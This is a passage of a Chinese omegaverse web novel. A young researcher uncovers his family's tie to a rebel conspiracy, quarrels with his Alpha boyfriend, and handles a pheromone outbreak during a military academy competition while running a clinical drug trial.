之前只是怀疑,现在因为沈华章这个草包的事情,他觉得或许还有别的因素,促成了这个结局。 沈乐安取出被纸袋包好的纸张,上面是姜叶早年闲来无事时的设计草稿,开头几张都是一些珠宝的设计稿,这是原先她接过的商业稿,后边是各种游戏插画的人物图,还有照着年幼的沈乐安画的Q版小人。 最后的那一张是七岁那年,姜叶送他的最后一份生日礼物,是一个设计精致又复杂的八音盒,现在还被沈乐安留着,放在了宿舍的那个书柜上。 沈乐安挨个拍了照,唐洛安的游戏角色还没有完全敲定下来,这些可以走后门弄进去。 沈烨看在眼里,站在一旁,心中不住地叹气,也有几分惆怅。 “妈妈当时为什么会得抑郁症?” 沈烨侧头,“怎么忽然问这个?” 沈乐安道:“我不是小孩子了,有些事情是我应该知道的。” 沈烨盯着那些设计草稿,沉默良久,才说:“和你外公的事情有关。” “外公?”沈乐安凝眉。 这个名词基本上没有在沈乐安身旁出现过,甚至这位神秘的外公,连墓碑的位置他都不知晓在哪,之前也没有去祭拜过。 至于他母亲那边的母族,似乎和他们关系也不怎么好,所以也基本没有来往,印象里母亲似乎也没有什么兄弟姐妹,亲属关系少的可怜。 “你外公当年参与了01潜伏计划,但被人发现了身份,”沈烨语气低了几分,有点含糊地说道,“尸体没有发现完全,姜家只有零散了一些。” 01潜伏计划与反叛军有关,当初反叛军声名浩大,又格外的凶狠残酷,当卧底,被发现,又只有零碎的尸体,母亲因此抑郁,可想而知反叛军是以怎么样的方式让姜家收到这些残碎部位的。 沈乐安心情沉重了许多,但也敏锐地发现了他言外之意,迟疑了一下,反问:“妈妈有没有其他的兄弟姐妹……?” 沈烨摇头,“你外公一家,不久后就遇害了,稍微走的近的,也意外身亡。” 沈乐安后脊发麻,“那妈妈?” “你妈妈早就嫁出去了,和家里联系不多,沈家做了点隐瞒,可能他们并没有查到。”沈烨道。 查不到? 沈乐安想到自己莫名其妙发生的信息素暴动和沈华章那个和反叛军有关的项目,总觉得不可能是误打误撞。 “你妈妈因为这件事,一直受惊,对身边的人也非常的防备,之所以不愿意让我去公司,也是觉得外面有反叛军的人,甚至出去见人都觉得是反叛军的线人。”沈烨叹了口气,心情莫名失落。 他口中形容的杞人忧天处处胆小如鼠的母亲和在自己面前安静内敛,只字不言的母亲仿佛是天方夜谭牛马不及的两个人。 沈乐安冷静了几分,追问了自己觉得奇怪的点,“他们为什么一直针对外公他们家?是不是外公知道了他们的重要信息?” 沈烨惊讶于他的敏锐,但儿子的本事早就在之前于沈氏时已经知晓,唯一可惜的,可能是分化上出了岔子。 他没有否认,说道:“你爷爷当时也是这么猜的,但是没有任何的证据,后边也想办法联系了你外公家的其他亲戚,甚至秘密去搜了姜家的房子,也没有看到什么东西。” 如果只是猜测,沈乐安基本信了八分,他觉得一定有这么一样东西,对方一定也没有查到,姜家有女儿嫁到了沈家,查不到其他线索,他们追踪到了沈家身上,而这么一样东西,他们隔了这么多年,还在查,一定是一样反叛军内部极其在意的资料,甚至于他们原先的领袖被联邦军处死之后,他们仍旧没有放弃的东西。 沈乐安心砰砰地跳快了几分。 如果是这样的话,妈妈的东西反而不好现在搬走了,万一里面有反叛军想要的东西呢?说不定他们会想办法混进来搜索一番。 沈乐安将东西放回原位,“我今天不搬了,过段时间把东西再搬走。” 沈烨立即打了电话,让人将搬家公司的人请走,挂了电话,才说道:“以后也不搬了,钥匙放你那,你回家还能顺便过来看看。” 沈乐安没说话,出去的时候检查了一下,才锁好了门。 晚饭的时候沈老夫人还在闹别扭,没有下楼吃饭,沈乐安吃饭完就回了房间。 坦白来说,是很累的,尤其是今天并没有什么收获,哪怕知道了一些信息,但确确实实没有从房间内扫到什么可能的重要物品。 待在安静而空旷的卧室,沈乐安在小阳台坐了一会儿,随后走进屋喂了喂鱼,自我排解了一下情绪,又觉得有点无聊,想找人说说话。 点到聊天框,看到秦砚冷淡的那两个字的回复,沈乐安退出去,又去看了眼群聊,发现余淮阳又和凌颂他们不知道去哪玩去了,还特地发了朋友圈。 哦,忘了,他们之前邀请过他来着,鉴于上次偶遇秦砚的巧合,他给拒绝了。 沈乐安百无聊赖地往下滑了滑,便看到了之前礼貌加上的林风凛的朋友圈消息。 林风凛:[太阳][太阳]很高兴一起吃饭! 下面还录了一小段视频,自动播放,沈乐安刚要划走,余光一瞥,被一闪而逝的人抓住。 他拧了下眉,重新点开视频。 拍视频的人在灯光筹措的宴席上转了一圈,其余的人只是匆匆忙忙从影像中转过,没有留下痕迹,唯有最后两秒的那道身影被偏爱的留了瞬间,哪怕那人没有抬头,熟悉的人也能一眼认出,这短暂的两秒是显而易见的重点划出。 他和林风凛也算有几个共同好友,上面还有人留言说了一声99,下面一群人跟风祝福,发视频的主人也没有回复解释,仿佛发了消息就无影无踪。 沈乐安退出了朋友圈,拐到刚刚秦砚的聊天框里面,瞧见那冷淡的两个字,扯扯唇,轻轻啧了一声。 上次他没有告诉秦砚,秦砚这次也不告诉他。 算了,沈乐安努力心平气和地想,就当扯平了。 沈乐安随手将手上的鱼粮丢到鱼缸内,那一大把鱼饵如似天女散花,扑棱棱的砸到水面,于缸内的小鱼来说简直是偶遇天灾,尤其是砸下来的粮食又重又多,甚至溅起了水花! 重重的一声响动之后,室内的灯也灭了下去,只有一片漆黑。 鱼缸内历经了一场劫难一般,受到惊吓的小鱼迟疑了许久,才缓缓从海草里面游出,仿佛是松了口气似的,吐了几口泡泡。 今天的饲主太吓人啦! 第56章 第 56+57 章 放假归来的联邦军校并没有想象中的冷清, 反而因为四校比赛的开启而重新焕发生机,校内的人流量也变得多了起来。 周一早上日常的升旗仪式取消,上午的课程也排到了另外的时间, 全校的培训终止, 校方举办了四校联合的开幕仪式,全校都聚集在操场,当然,也额外给了其他学校的观看座位名额, 在边缘的位置。 沈乐安不是在校生,但算是教职工, 位置安排的还算靠前,能够看得清台上的人影,再往前一点的,也就是校方的领导了。 这一次过来的人不少, 主要的原因还是因为传出消息, 这次会有联邦一军的人过来, 而且这次的比赛还颇有噱头,据说有名次靠前的学生可以获得联邦一军的考核机会。 不错, 仅仅是一个考核机会, 连入围都不算。 但也就是这么一个考核资格, 引发了所有军校生的关注,这么高要求的筛选标准,让沈乐安这个局外人初步体会到联邦一军在联邦人民心中代表的位置。 沈乐安看着这乌泱泱的人群, 以及台上拉着的欢迎横幅, 想起来当初看到的那份病例资料上面的简单的联邦一军队长几个字, 仿佛多了几分重量。 台上的主持人已经开始按照流程演讲和祝贺了,隔了一段距离, 沈乐安看不清上面的人,但主持人说到欢迎联邦一军的同志时,台下的反应可以说得上轰轰烈烈,热情和面子给的很足。 沈乐安配合地拍了拍手,视线却忍不住转到人群密集的学生中。 人太多,又坐在中间,学生穿着统一的服饰,带队的教官倒是与学生穿着不同,但融入在人群里,一样如水滴入海,识别不清。 没找到秦砚,但沈乐安却看到了不少坐在学生前排的其他教官,他们望着台上的人,目光里也难免会产生出羡慕的情绪,毕竟那样的瞩目与功勋,是每一个士兵所向往的。 沈乐安转回脑袋,便听到身旁的陈悦问道:“找人?” “是,”沈乐安笑了下,“今天人好多,有点意外。” 陈悦:“今年的比赛比之前热闹的多,人来的也不少,你要找人的话最好还是晚点,现在不好进出。” “联邦一军的名头这么大?”沈乐安好奇道。 “你没有关注过军事方面的信息,不知道也正常,”陈悦告诉他,“联邦一军原本就是联邦筛选最严苛的一支军队,从‘一’这个名称你应该也知道联邦对它给予的厚望。” “是因为足够严格所以名气这么高?” “当然不仅仅是这样,”陈悦解释道,“严格只是因为一军的任务难度系数高,死亡率也高,所以进去的标准才提高这么多,不过它之所以受人追捧,有一个重要的原因,还是因为凡是想要在联邦军队升军职,基本上都要去一军历练过,除此之外,便是因为去年联邦一军顺利将人质从反叛军解救的事情出来,又因为无人死亡,又小红了一番,所以才会这么高人气。” 沈乐安闻言,下意识问了一句:“那他们队长岂不是很厉害?” 陈悦笑道:“那是有天赋而且还得有运气才能有机会够到那种位置了。” 毕竟联邦一军出任的任务本来就已经九死一生,想要成为这样军队的领袖,才华和时运不可或缺。 沈乐安看着光鲜亮丽的欢迎仪式,心中暗自唏嘘,也不知道秦砚是运气好还是运气不好。 欢迎仪式过半,剩下的就是校长讲话等流程,陈悦想起来什么,侧头与身旁有点走神的沈乐安道:“校医院这几天轮流排班,你的心理咨询室目前没有安排,算是放假,最近几天校内流动的人多,实验室那边可能暂时还不会开放,你可以过来看看比赛。” 沈乐安应下。 他想起来今早过来时瞧见的小棚子,又道:“您找人拉了赞助?” 提到这事,陈悦点点头,“沈氏集团的负责人主动和我提的,这次过来的选手都会免费提供一瓶功能性饮料,以及额外的药剂这些东西。” 这倒确实是个宣传的好机会,沈乐安表示知道,也没有多问。 开幕仪式结束,沈乐安跟着人群走出操场,路上还偶然碰到了唐邵,不过没有看到秦砚的影子,听唐邵的口吻,秦砚今天似乎也没有在他们那,不知道去了哪。 沈乐安这几天没有住在秦砚家里,都在自己哪里住着,事实证明,秦砚比他没心没肺多了,几天也没见他吱个声,消失的很彻底。 就这还要公开?指不定没两天就默认分手了。 虽然那天看到林风凛那条朋友圈有一瞬间的不爽,但沈乐安想了两天,那种不公开的后悔情绪就淡了许多。 他和秦砚还是有很多方面上的冲突的,尤其是他们家现在可能还和反叛军扯上了一点关系,以秦砚大义灭亲的个性,说不定还会因此和他吵架什么的,出点什么事情,秦家那边也不好处理。 何况他和秦砚本身性格上就有点矛盾和冲突,这段关系实在脆的可怜。 当初也是因为秦砚能够解决他一部分发情期的信息素紊乱,药剂研发已经到了最后的阶段,到时候帮秦砚解决完他的信息素暴动,也算是还了他之前的忙,然后直接分手断了就行。 沈乐安做了决定,心情并没有因此完全放松,他这几天也确实没有怎么休息好,因为这段复杂的情感关系,这种若即若离的感触实在让他有种自己在被人放风筝拉线的感觉,情绪受人影响过大,反而容易失去理智。 他时刻警醒自己,不能深陷在这种无为的情绪之中,浅薄的喜欢如果换来的是因为另外一个人的一言一行而让自己处于时刻没有安全感的位置,实在不值得。 沈乐安心里琢磨着事情,路过小卖部的时候想起来自己办公室空掉的小冰箱,进去买了一瓶。 走回办公室的时候发现门是半开着的,脚步慢了几分。 方才被他反复揣测,意识批判的人出现在屋内,让背着说坏话的人有种诡异的心虚感。 沈乐安咬了下吸管,“你怎么在这?” 他目光往下挪了挪,发现秦砚手上拎着的袋子。 秦砚将袋子里的东西放在了桌上,看了眼空荡荡的小冰箱,问:“现在是一天喝两瓶?” 沈乐安下意识回道:“下午三四点还会想喝。” 秦砚嗯了一声,将袋子里面的酸奶拿出来,整齐地放入空荡荡冰箱内,里面又变得满满当当,吸管被他抽了出来,放在夹层。 沈乐安眼神有点飘,之前他总是想喝就从里面拿,里面似乎永远能够拿出来一瓶,像是哆啦A梦的口袋,加上秦砚每次过来他都不在,所以他也忘了好像应该有人帮他补充进去存货。 吃人嘴短,沈乐安此刻深刻感知到这一点,连带着刚刚放下的豪情壮志都变得轻飘飘了。 沈乐安帮他捡走了那个空袋子,余光瞥了眼他动作,发现他还细心的拆开每一瓶酸奶,而后才挨个放进去。 毕竟是他自己要喝的,沈乐安老实巴交地过去帮忙,然后问了一句:“你去哪里买到的?” “学校外面的连锁超市。” “谢谢啊。”沈乐安顿了一下,又说,“下次我自己去买,不用麻烦你专门带过来。” 秦砚手上的动作停了停,视线微转,这个角度能明显看到对方纤细浓密的睫羽,很轻微地颤动了一下。 他将东西放入冰箱,不厌其烦地重复着动作,说道:“不麻烦。” 沈乐安觉得他可能没有听懂他的暗示,忍不住抬头看了他一眼。 几天未见,Omega双眸清亮如珠,气质还是如此鲜活。 秦砚侧眸,看向他,“不是只在外面住一晚?” “我最近在我宿舍住。”沈乐安道。 “怎么不回去?” “……我再看看。” 沈乐安没想到他问的那么直白,差点没接住话,含糊了一句。 “还在因为那天的事情生气?” “啊?” 秦砚看了他一眼,心平气和地说:“你不想做的事情我不会勉强你,不公开我也同意。” 沈乐安没有想和他掰扯这些,移开话题道:“今天的开幕仪式你没去?” 秦砚:“没有。” 沈乐安:“这次来的那个联邦一军的队员你认识吗?” “你上次也见过。”秦砚看了他一眼。 “谁?” “周鸣。”秦砚道,“你上次去医院看李怀玉的时候是他在外面看守。” 沈乐安记下这个名字,又与他解释道:“回来的时候碰见唐邵,他有点好奇,我帮他问问。” 秦砚闻言,默不作声地盯着他。 沈乐安装作并没有发现他的目光,随口道:“你之前的队友过来应该要和他叙叙旧吧,今天人多,餐厅估计都得订满,你早点和他过去占位置会好一点。” 小少爷脸上挂着笑,分明笑不见底,虚伪的表皮精致又好看,却让人倍感疏离,话里话外分明在赶人。 秦砚泥人也有三分火气,不喜他这样拐弯抹角避而不谈的态度,手臂轻抬,忍不住掐了掐他吐着绵里藏针话术的唇瓣。 “长了嘴,不能好好说话?” 绵软的唇被Alpha恶劣的掐成不规则的角度,偏Alpha居高临下又话里带了几分命令,那粗糙的指腹放缓了气力,顽劣之后,略有几分狎昵的姿态,在上面捏了捏。 有点滑滑的,又格外的软,棉花一样。 秦砚垂了垂眼皮,有片刻失神。 沈乐安猛地拍开他的手,语速很快,仿佛散出几分火气,“我爱怎么说怎么说关你屁事!” “我和谁说话吃饭不用你的同意,你爱和谁吃饭和谁吃饭,我也不会管你,赶紧滚蛋!” Alpha迎面劈头盖脸的一顿数落,还未回神,就被人推到了门外,“砰”地一声,小少爷无情地关了门。 门外没有什么动静,沈乐安看了两眼,坐回椅子上,摸了摸有些发烫的耳垂,低低咒骂了一声。 妈的,秦砚那个死变态,竟然敢调戏他。 一门之隔的Alpha缓过神,盯着紧闭的门板,以及周遭隐约投过来的视线,脸色黑沉如墨,不明沈乐安莫名的行为,心头也止不住怒气。 进军队这么多年,秦砚早已练就了一番平稳的情绪,今天险些破功,就因为沈乐安这位一点都和成熟谈不上边的小男朋友。 这记仇的小东西。 秦砚心里骂了两声。 —— 事实证明人还是不能太过于冲动,至少有什么事情不能在大庭广众之下起争执。 沈乐安第二天得知这事情校医院里面的人都知道了之后,简直悔得肠子都青了。 别人不认识昨天中午被赶出来的人是谁,但陈悦刚巧知道,将加急文件转交给沈乐安的时候,她还是难得的说了一句与公事无关的叮嘱:“这里隔音效果没那么好,来往人多,下次有什么事情还是去别的地方会好一点。” 沈乐安接过文件,谢到嘴边被她噎住,轻咳一声,问:“是我疏忽,他们都听到什么了?” 陈悦道:“中午那会没什么人在,但你关门声音动静太大,有人出来就看到了被你关在门外的秦教官,他们不认识,偷偷拍了一张照片,我让他们删了,秦教官我见过他的样子,能够认出来。” 沈乐安面不改色地说:“我们聊公事谈崩了而已。” 陈悦识趣地没有提她之前早就见过秦砚进他办公室送东西的事情,下属的私事还是不要过多八卦会比较好。 不过陈悦还是重复提醒了一句:“下次注意。” 沈乐安点点头,说了一声知道。 陈悦走前又道了一句:“那边比赛昨天下午已经开始了,你想的话可以去看看,来比赛的学生名单有公布在屏幕上,想要的话可以去校官网下载。” 这是上次沈乐安与她提过的,也是因为唐邵无意转达的一句话。 沈乐安应下,与她道了声谢。 唐邵刚好也给他发了消息,外校论坛上说过的药剂的事情,他帮忙集了一些名单,其中几个就是今天会上场。 沈乐安拿了一袋小面包,这才不紧不慢地过去比赛场地。 操场上和昨天开幕仪式时的布置完全不同,完全改造成了一个合格的比赛场地,但围观的人只多不少,尤其聚集在体质对抗那处的人格外的多。 Alpha的体质比赛与其他的设置全然不同,射击也许会借助外来的工具表现自己的能力,但这一项比赛却格外的原始,也格外的充满了野性的味道。 在沈乐安看来,这个比赛看起来就像是一场赤身肉搏,全凭蛮力,像是个彻头彻尾的武夫。 不过旁边兴致勃勃给他解说的唐邵并不是这么想的,他说的许多名词都格外的专业,沈乐安顺便学习了一番,倒是对Alpha的体质多了一番新的理解。 当然,作为一个外行人,他的理解就浅薄的多,沈乐安粗暴的将这个体质和他认知里面修仙流的体修划上等号,至少在他看来,这个世界的体质有着体修相似的设定。 至于他这个Omega,确确实实是个修炼废柴。 不过Alpha强悍的体质也伴随着一些负面的影响,比如信息素因为同样过于强大,反而容易自噬,信息素暴动七成都在Alpha身上应验,和这也许有脱不开的关系。 台上的两个Alpha学生很快分出胜负,看热闹的人也不少,不过似乎很少看到Omega,站在这里的沈乐安像是一个异类,不过他并没有发现这些奇怪的地方。 唐邵评价道:“他们的体质太差,没有什么观赏性,高等级的Alpha比赛更有看头。” 沈乐安来这只是来看看名单上的人的身体情况,倒是对比赛没有什么兴趣,目前为止他唯一感兴趣的□□也就秦砚一个,不过他这么一提,沈乐安还是附和地点点头。 这里的气息太杂,Alpha在比赛过程中或多或少会有信息素泄露,哪怕有机器驱散,也有不少残留,也难怪来看这个比赛的没有什么Omega。 沈乐安将小馒头丢回袋子里,没什么胃口。 “乐安哥。” 沈乐安侧头。 唐邵目光落在他手里的面包袋子,“马上到我上场了,我还有点紧张,能不能吃一个你的面包补充精力?” 沈乐安大方地给了他两个,又说:“加油。” 唐邵心满意足地一口一口吃掉了小馒头,又扬起唇,冲他咧嘴笑了笑,“我不会输的。” 这话沈乐安没应,只重复了一句:“尽力就行。” 唐邵的人影消失在人群之中,沈乐安目光挪回台上,手无意识地又要取出袋子里面的小馒头,下一秒,便扑了个空。 他愣了一下,蹙眉转回视线。 昨天与他刚刚起冲突的Alpha站在他的身侧,手上拿着不属于他的小馒头,还是以恶劣的抢夺方式得来的。 沈乐安抿了抿唇,“你干什么?” 秦砚道:“你不该将你自己的东西给他。” 沈乐安直直看着他。 “战神出征前向自己心仪的伴侣取了一样私人物品,后来这样东西化成了治愈他战场上伤口的愈力,由此成为一段佳话,”秦砚语气平静道,“这是军校生公认的求偶方式。” 沈乐安没听说过这什么鬼传说,但不妨碍他觉得秦砚有病:“……这只是个馒头。” 秦砚看向比赛场,唐邵已经上场,“体质比赛追求速度和致命点的攻击,他的招式太过于花里胡哨,和孔雀开屏没有区别。” 沈乐安看不懂分别,但听得出他话里面的意思,心思也没在比赛场上,回头看向他,不耐烦道:“有话能不能直说?” 秦砚目光落在少年下撇表达不满的嘴角,轻嗤出声,“我以为你会喜欢这样的说话方式。” 他阴阳怪气的精髓学的极佳,沈乐安黑着脸,“你他妈再说一句试试?” 秦砚不言,脸上还是平静如初,只不过那袋子面包已经被他捏的瘪瘪的,仿佛成了一张薄薄的纸张。 他自认自己已经耐心十足,甚至昨天还是他主动去找他开的口,显然已算他低了头,但偏偏这不讲理的小少爷还要顺杆子往上爬,完全将他的脸面踩在地上,不管不顾,简直不可理喻。 今天见到沈乐安与唐邵一起,显然对于秦砚而言,是一种挑衅。 那袋子面包被秦砚随手丢进了垃圾桶里。 沈乐安磨了磨牙,不喜欢他这种霸道处理自己私人物品的方式,哪怕只是一个面包。 他不免怒火中烧,说话多了一点咬牙切齿,“你想和我打架?” 秦砚抬起眼皮,叙述事实:“不要做不自量力的事情。” 他妈的,他确实打不过秦砚。 沈乐安气笑了,恶狠狠地瞪了他一眼。 他这番姿态在Alpha眼中,完全没有一点威胁之意,双眸亮如星子,氤氲着淡淡的一层水雾,多了一份柔和,怒意夹杂其中,反而似有亲近。 秦砚心头微动,语气放缓了几分,“你不能每次吵架都翻旧账,这样并不合理。” 沈乐安掀了掀唇,微笑道:“就你最讲道理呗。” 秦砚盯着他,指腹轻轻摩挲了下,克制住了想要捏他皮笑肉不笑的那张假皮。 小少爷确实有本事。 三言两语就让人想堵住他那张嘴。 “教官——” 唐邵的声音适时插入,中断了两人低声一来一往的争执。 沈乐安转头看向他,刚刚没有注意看他比赛,不过见他脸上喜色不减,道了一声恭喜。 唐邵过来,喊了秦砚一声,没见他离开,又挪到了沈乐安的另外一侧站着,低声与他道:“下一场是名单上的人。” 沈乐安嗯了一声。 秦砚面不改色地站在沈乐安旁边,听到他们的交流,也看了一眼台上新出场的学生,是外校的。 对方展现出来的实力和之前见到的外校的学生不同,放在本校内也是可以看得过去的,沈乐安扫了一眼台上的人,转头问了秦砚一句:“黑色衣服那个,算得上有天赋那种吗?” 秦砚语气平静:“基础不稳,一般。” 沈乐安若有所思地看了一眼台上的学生。 唐邵见他们旁若无人的聊天,实在难以插入话题,只觉得气氛尤其诡异,特别是站在他们身侧,又仿佛被两人隔开了一般。 他目光一转,又发现沈乐安手上的那袋小面包也不见了踪影,视线停留片刻,便发现另外一道视线看了过来。 往日严厉冷然的教官此刻表情淡淡地看着他,仿佛穿透表皮,发现了他对于身旁Omega的想法,鹰一样的视线刺透人心,让人有一瞬间的心虚,尤其是在这样年长者的面前。 到底还是平日里管教他的教官,唐邵心中对他还是有敬意与惧意,下意识绷紧了脊背,神经都陡然肃穆了几分,讪讪然偏开了头。 专注于台上的Omega一无所知,秦砚扫了少年一眼,哂笑一声。 沈乐安看着台上的学生,眉头逐渐拧紧。 Alpha的体质比赛尤为的激烈,这一局强强比赛,效果意外的好,比之前的比赛都来的刺激,拳肉交错的撞击声彰显着力量的冲突与赤裸裸的兽性,不少人为此喝彩。 沉溺在对抗中的观众只看到了比赛的热烈,而在比拼中厮杀的选手也因为高涨的人群而斗志昂扬,仿佛不知道疼痛,忘我地沉迷于高昂的情绪之中。 逸散的信息素飘荡在空气之中,却没有引起旁人的关注。 如果不是沈乐安刚巧看见过信息素暴动的模样,又刚巧做了太多实验,且上面的人巧而又巧的在他怀疑的名单之上,沈乐安不会如此快的反应过来情况的不对劲。 这里围了太多的人,沈乐安下意识抓住身旁Alpha强而有力的臂膀,“秦砚,马上让人停止比赛,疏散人群,那两个学生不对劲,有发生信息素暴动的危险。” 少年手心泛着几分凉意,显然心神不稳,但几乎是信任与依靠般的动作让Alpha在一瞬间消弭了方才的恼怒。 秦砚语气镇定,看不出慌乱,很轻地握了一下他发凉的手,很快松开,又道:“我会解决,你先出去。” 这里人太多,和上次在食堂不同,容易出现踩踏事件。 秦砚打了一通电话,比赛场上就有人介入了。 忽然终止的比赛让观众格外意外,一时间台下不少人在争议,裁判通过麦克风疏散人群,唯一不受控的是方才激烈比赛的两个学生。 台下不知是谁忽然发生一声尖锐的惊叫,随后视线便顺着那声往回看。 沈乐安闻声望去,心头陡然一跳。 台上比赛的其中一名学生忽然倒了下来,浑身剧烈的抽搐,像是生了癫痫一样的让人惊恐,他的鼻子往外不停地流血,浑身赤红,面部表情尤为狰狞,信息素仿佛膨胀到极致被人戳破的气球,飞快的弥漫到人群之中。 站在他身侧的另外一个学生首当其冲,直接晕了过去。 方才秩序得当的场面开始失控,还有纷至沓来的吵闹声。 秦砚也不见了踪影。 第57章 第 58 章 在这样重要的节日同时聚集了密集人群的地方发生信息素暴动, 无疑会引发一场不小的恐慌。 先不提发生信息素暴动的学生本人,一个不小心很能可能还会因为疏散不及时而发生踩踏事件,造成更多的人员伤亡, 对学校的声誉也会造成巨大的负面影响。 比赛场那边的消息一报备过来, 校内的急救队伍迅速集合出发,疏散人群的任务也自然交给了教官,好在原先告知消息的秦砚就在现场,有过经验, 这事进行的也快,毕竟原先校方也做了紧急预案, 现场没有学生出现严重的事故,除了有部分受伤的。 唯一让人有点头疼的是今天过来的媒体记者,这种重大新闻出现在跟前,哪会有人轻易错过, 这群人不怕死一样的往里挤, 铺天盖地的架势简直让校方的人员气的心肝疼。 不过胳膊拧不过大腿, 军方还是十分强硬的把人请走了。 沈乐安问了才知道,这些媒体记者是沈氏集团赞助作为交易换进来的, 现如今闹了这通事情, 陈悦对沈氏的好印象全无, 甚至有点反感。 沈烨不至于做这种没脑子的事情,沈乐安想起来上次沈华章的嘚瑟,心中有了答案。 对方等了那么久, 看来已经有点等不及要出手了。 不过就沈乐安来看, 选在这样的场合, 确实足够让沈氏狠狠摔上一跤,且一旦学生死亡, 那这件事就要上升到另外一个高度了,信息素暴动本来就是这几年军方高度重视的,这种堂而皇之的举动,何尝不是一种对于军方的挑衅? 只是他还想知道,对方后手又是什么,沈华章一个人,应该不至于拉上沈家全部的根骨,毕竟对于他们家来说,沈华章不过是旁支一脉而已。 沈乐安想起来之前沈烨压下去的那条热搜,很轻地拧了下眉。 周围人群熙攘,暴动的信息素还是不免有残余在空气中,沈乐安回过神,远远看到急救的车驶离,又抬手拨了一通电话。 陈悦神情凝重,与身边的一人道:“现在他们今天所有用过的东西都需要全部封存起来,检测的药剂已经研制出来了。” “那个学生的情况怎么和之前的林一鸣不大一样?” 陈悦看向一旁默不作声的沈乐安,他一直在做这个方向的研究,陈悦心知肚明。 沈乐安道:“林一鸣是属于戒断之后的应激反应,今天的这个人算是另外一种,他是药物摄入过量,又因为身体高强度的动作,导致信息素爆发出来了。” 陈悦点头,将事情安排下去,便让他们离开,唯独留下了沈乐安。 毕竟还在外面,陈悦不好公开说什么,只是表情有点复杂,低声问:“乐安,你是不是知道什么?” “我该知道什么?”沈乐安反问。 陈悦抿了抿唇,急救能够来这么快是因为沈乐安提的建议,而且他当时还问过比赛的事情,她偶然见过他勾画的名单,其中就有今天出意外的这两个学生,她很难不起疑心。 沈乐安笑笑,“只是有备无患而已。” 他只是有所猜测罢了,毕竟沈氏和校方有了交集,又好巧不巧背后的人一直对军方有异动,这是个好机会,如果是他,他也不会错过。 他确实可以因此做到完全断绝这种可能,毕竟手头的解决的药剂已经研制出来,但将计就计才有机会引蛇出洞,他不会放过那个潜伏了这么多年的毒蛇。 沈乐安承认自己有私心,他没秦砚那么高大上的理想,只是个普通的市井小民罢了。 陈悦看着少年脸上浅浅的笑容,辨别不出他的话里的真假,但到底这件事也没法怪到他身上,静了半晌,她才问道:“那个学生还有没有救?” 沈乐安话里带了两分笃定,“不会有事的,您放心吧。” 陈悦没有再说什么,提着药箱,转头离开。 校医院内今天人满为患,消息也如风一样从学生中传开,各个群聊内都是在讨论今天在联邦军校比赛上发生的信息素暴动,这一次和上次仅有联邦军校学生在场的食堂不同,这一回是实打实的开放了外校人员进校的,何况还有新闻媒体人在场。 消息如似瘟疫一样疯涨,哪怕校方竭力控制舆论,但还是抵挡不住接二连三顶上去的热搜榜单,以及回去后开始天花乱坠描写的媒体报道。 校方因为这件事简直被顶上了风口浪尖,当初被邀请进来的媒体人和沈氏有关,这事原先又有陈悦的牵头,陈悦也因此挨了批评。 这些事情还算小事,唯一让人挂在心头的还是躺在医院里面,目前生死未定发生信息素暴动的那个学生。 医院来了一波又一波的媒体人,都被全部挡了回去,徐应尧对此压力也非常的大,但对于那个学生的信息,他是绝对的守口如瓶,只字不提。 这事他也不想掺和,但谁让自己有这么一个小师弟? 他看着那穿着白大褂进去的少年,看着另外一间病房内出来的李怀玉,见她对自己笑了笑,半晌,徐徐叹了口气。 沈乐安进病房看完人,出来后便与另外一位助手道:“三个小时后,再加5%的浓度注射。” 助手点点头,利落地离开,身上穿着的赫然是军部的衣装,是军方的人。 这一层已经完全给沈乐安当成了临床试验的用地,且有重军把控,徐应尧之所以能在这待着,还是因为临床实验的项目一出来,这位小师弟就联系了他,地址选择他工作的联邦医院,指定他当这个项目的第二负责人。 徐应尧原先还挺高兴的,但直到沈乐安临时把这个发生信息素暴动的学生加塞进实验,又因为保密性质,有些事情不能外传,压力就自然给到了他的身上。 沈乐安摘了口罩,冲他笑了笑,“徐师兄。” 徐应尧觉得他不怀好意,板着脸道:“你让林一鸣进来本来就是不按规矩办事,现在又忽然多了一个学生,这几天有多少人和我联系,那个学生的事情有多少人在关注,你知不知道多麻烦?” 沈乐安深有领会的点点头,“我相信师兄能够解决。” 徐应尧被他一噎,那口气不上不下。 沈乐安笑眯眯地看着他,当初选人的时候他还是认真考虑斟酌了一番的,项目申报后上面有人联系他,军部的科研组也希望可以加人进来,但他没有一点考虑的拒绝了,徐应尧和秦砚认识,和秦家关系也不浅,他猜到对方一定在军方有背景,又刚好在联邦医院,简直天时地利人和,而且他和徐应尧还有一层师兄弟关系,不利用一番,都没有道理。 徐应尧看了他一眼,道:“临床实验已经做了几期,效果已经稳定许多了吧?” “没有,”沈乐安一口否定,“还有不足需要改进呢。” 他不会让自己处于被动,只有自己还有利用价值,对联邦有巨大的用处,才有能机会利用他们的特权给自己办事。 这是一种合理的利益交换,当初秦砚与他背后的人愿意帮他那么多,也是看在有利于研发这个药剂的份上。 看来反叛军搞出来的这个进化药剂对联邦军方威胁很大啊,已经到了这种地步。 沈乐安是主要负责人,也是药剂研发的核心,他在这个上面说一不二,一点没有徐应尧当初印象里面知心知意的小师弟模样。 徐应尧识趣地没有说话,只是提了一句:“秦砚今天来做检查。” 沈乐安头也没抬,没接这话。 上次秦砚过来的时候他就觉得秦砚不像是会闲着没事看风景的人,没想到自己回去的时候会撞见他们两个一起回去。 加上秦砚一直有临时标记这事,徐应尧断定这两人明显有一腿,只不过他想起来前不久林风凛朋友圈里面发的东西,又暗暗啧了一声,没想到秦砚不动则已,一动就乱七八糟的桃花债一堆。 看在老朋友的面子上,徐应尧把林风凛那朋友圈的截图发给了秦砚。 沈乐安在医院里面碰到了还没有离开的秦砚。 徐应尧的办公室不在这边,他在这里,显然是刻意饶了路过来的。 他们前不久才吵了架,理论上说还没有和好,而且发生事情之后这两天也没见面,不过就算没有吵架,沈乐安也不觉得秦砚会主动来接他。 “徐师兄还没下来,你想找他可以电话联系他。”沈乐安放缓了脚步,走到他身侧,没有装作视而不见。 秦砚瞥了他一眼,“我来找你。” “找我?”沈乐安有一点意外,“有什么事情?” “顺便接你回去。”秦砚道。 沈乐安盯着他看了两秒,应了一声,颔首道:“行吧。” 好吧,小少爷还是忍不住抬了抬唇角,下班的时候有人接他是一件让他心情十分愉快的事情。 骄矜的小少爷仿佛顺了毛的猫,眉眼飘荡着愉悦,秦砚扫了他一眼,心中一嗤,小孩子一样,幼稚。 他大概不清楚自己胡乱牵扯到了什么事情里面,不守规矩的行为又给联邦带来了多大的舆论压力,偏偏这事情背后还牵扯到了沈家。 那板药片他早就拿到了,背后的图案他定然早就看出,只是避而不谈,选择了隐瞒,如今信息素暴动的事情他解决的如此快速,一定也有所猜测,但作为沈乐安的伴侣,他一无所知。 